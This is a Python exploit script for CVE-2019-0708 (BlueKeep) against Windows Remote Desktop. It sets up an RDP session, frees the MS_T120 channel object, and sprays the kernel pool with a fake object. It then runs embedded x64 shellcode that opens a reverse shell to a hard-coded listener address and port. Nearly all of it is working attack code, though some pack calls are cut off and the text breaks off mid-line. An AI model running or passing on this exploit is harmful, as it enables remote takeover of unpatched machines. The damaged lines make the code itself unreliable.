#!/usr/bin/python import socket from OpenSSL import * from struct import pack, unpack from sys import argv, exit class x224ConnectionRequestPacket: def __init__(self): # total of 8 bytes self.rdpNegReq = pack( ' 1110 (E) CDT -> 0000 (0) for class 0 and 1 0, # dest-ref , 2 bytes (fuzzable) 0, # src-ref , 2 bytes (fuzzable) 0, # class 0 ) self.cr_tpdu = self.x224Crq + self.rdpNegReq self.tpkt_total_length = len(self.cr_tpdu) + 4 self.tpktHeader = pack( '!BBH', 3, # version , 1 byte 0, # reserved , 1 byte self.tpkt_total_length # len (include the header) , 2 bytes ) self.pdu = self.tpktHeader + self.cr_tpdu class MCSConnectInitialPacket: def __init__(self, channels): self.channelDefArray = '' for channel in channels: self.channelDefArray += channel.ljust(8, '\x00') + '\x00' * 4 self.clientNetworkData = pack(' 0: shellcode += '\x90' * (size - len(shellcode)) return shellcode else: print '[**] ring3 shellcode size exceeds maxmium supporting length [**]' exit(1) if __name__ == "__main__": channels = ['rdpdr', 'MS_T120', 'rdpsnd'] totalMCSChannels = len(channels) + 2 origId = 1003 lhost = '192.168.0.175' lport = 4444 rhost = argv[1] rport = 3389 print print '[*] CVE-2019-0708 (BlueKeep) RCE Exploit [*]' print '@straight_blast ; straightblast426@gmail.com' print print '[-] Establishing Connection' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((rhost, rport)) data = sendX224Request(s) #print "x224 Connection Response: " + data.encode('hex') ctx = SSL.Context(SSL.TLSv1_METHOD) tls = SSL.Connection(ctx, s) tls.set_connect_state() tls.do_handshake() data = sendMCSGCC(tls, channels) #print "MCS GCC Response: " + data.encode('hex') sendErectDomainRequest(tls) data = sendAttachUserRequest(tls) #print "Attach User Response: " + data.encode('hex') initiator = unpack('>I', data[-2:].rjust(4,'\x00'))[0] #print "Initiator: " + str(initiator) for i in xrange(totalMCSChannels): data = sendChannelJoinRequest(tls, initiator, origId + i) #print "Join Confirm Response (" + str(origId + i) + "): " + data.encode('hex') data = sendClientInfo(tls) #print "Error Alert: " + data.encode('hex') data = tls.recv(8000) #print "Demand Active PDU: " + data.encode('hex') sendConfirmActivePDU(tls, initiator, origId + totalMCSChannels - 1) data = sendRdpPduType_Synchronize(tls, initiator, origId + totalMCSChannels - 1) #print "RDP PDU Type: Synchronize Response: " + data.encode('hex') data = sendRdpPduType_Control_Action_Cooperate(tls, initiator, origId + totalMCSChannels - 1) #print "RDP PDU Type: Control, Action: Cooperate Response: " + data.encode('hex') data = sendRdpPduType_Control_Action_RequestControl(tls, initiator, origId + totalMCSChannels - 1) #print "RDP PDU Type: Control, Action: Granted Control Response: " + data.encode('hex') data = sendRdpPduType_FontList(tls, initiator, origId + totalMCSChannels - 1) #print "RDP PDU Type: Fontmap Response: " + data.encode('hex') data = readFromVirtualChannel(tls) #print "RDPDR and RDPSND are now loaded" print '[-] Connection Stablized' print '[-] Freeing Object' free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7 sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005) print '[-] Taking Over Freed Object And Pool Spraying' pool_size = 0x630 pool_address = 0xfffffa80055ff980 #pool_address = 0xfffffa800b5ff980 pool_storage_address = pool_address + 0x48 pool_shellcode_address = pool_address + 0x50 fake_channel_object = '\x00' * 200 + pack('H', lport) + socket.inet_aton(lhost) + '\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5' shellcode = makeKernelUserPayload(reverse_shell, pool_size) payload = pack('